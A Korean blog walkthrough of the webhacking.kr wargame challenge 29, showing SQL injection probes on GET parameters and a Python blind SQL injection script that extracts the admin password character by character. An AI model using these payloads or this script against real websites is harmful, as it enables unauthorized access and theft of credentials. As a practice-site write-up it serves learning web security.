이번 문제도 SQL Injection문제인 것같다 (•ε•;)
login을 하면, GET방식으로 no=1&id=guest&pw=guest가 전달되어 Success-guest라고 출력되는 것을 볼 수 있다.
이것저것 입력해본 결과, access denied와 Failure가 출력되는 것을 볼 수 있었다.
no=1' or 1=1 -- &id=guest&pw=guest
no=1' or 1=2 -- &id=guest&pw=guest
-->no에서 or과 and가 필터링됨
no=1&id=guest' or 1=1#&pw=guest
no=1&id=guest' or 1=2#&pw=guest
-->id에서는 or과 and가 필터링되지 않음
no=2&id=guest&pw=guest
no=2&id=admin&pw=admin (뭔가 admin의 no은 2일 것같아 입력해봤지만 Failure ㅎ)
그리고, no=0||no=2&id=admin&pw=admin 를 입력했더니 admin password를 입력하는 폼이 떴다.
그치만 현재로써 admin password에 관한 정보는 아는 것이 없기에..,(。•́︿•̀。) 코드를 짜야한다. (Blind SQL..)
먼저 비밀번호의 길이를 알아내기 위해 length함수를 이용하였다.
pw의 길이를 늘려가며 시도해 본 결과, length(pw)=10일 때 admin password 입력창이 출력되었다 !
( length(pw)=10이 아닐 경우에는 Failure 출력 )
이제 pw를 알아내기 위해 코드를 짜보았다.
import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
url = "https://webhacking.kr/challenge/web-29/?no="
headers = { "Cookie" : "PHPSESSID=세션 값" }
proxies = { "http" : "http://127.0.0.1:8888",
"https": "https://127.0.0.1:8888" }
pwLen = 10
password = ""
for plen in range(1,pwLen+1):
for num in range(33,127):
if num<=90 and num>=65:
continue
N = hex(num).split("0x")[1]
payload = "0%7C%7Cno%3D2%26%26substr(pw,{},1)=0x{}&id=admin&pw=admin".format(plen,N)
res = requests.get(url=url+payload,headers=headers,proxies=proxies,verify=False)
if "admin" in res.text:
password += chr(num)
print(plen,"word : ", password)
else:
pass
print("Found password : ", password)
#http://mwultong.blogspot.com/2007/12/16-2-10-8-hex.html
나온 password값을 admin passowrd에 입력해주면 문제 해결 ~~!~!! (*ૂ❛ัᴗ❛ั*ૂ)
'WEB > webhacking.kr (old)' 카테고리의 다른 글
webhacking.kr 30번 (1) | 2020.03.21 |
---|---|
webhacking.kr 44번 (0) | 2020.03.19 |
webhacking.kr 4번 (0) | 2020.02.23 |
webhacking.kr 61번 (0) | 2020.02.19 |
webhacking.kr 59번 (0) | 2020.02.18 |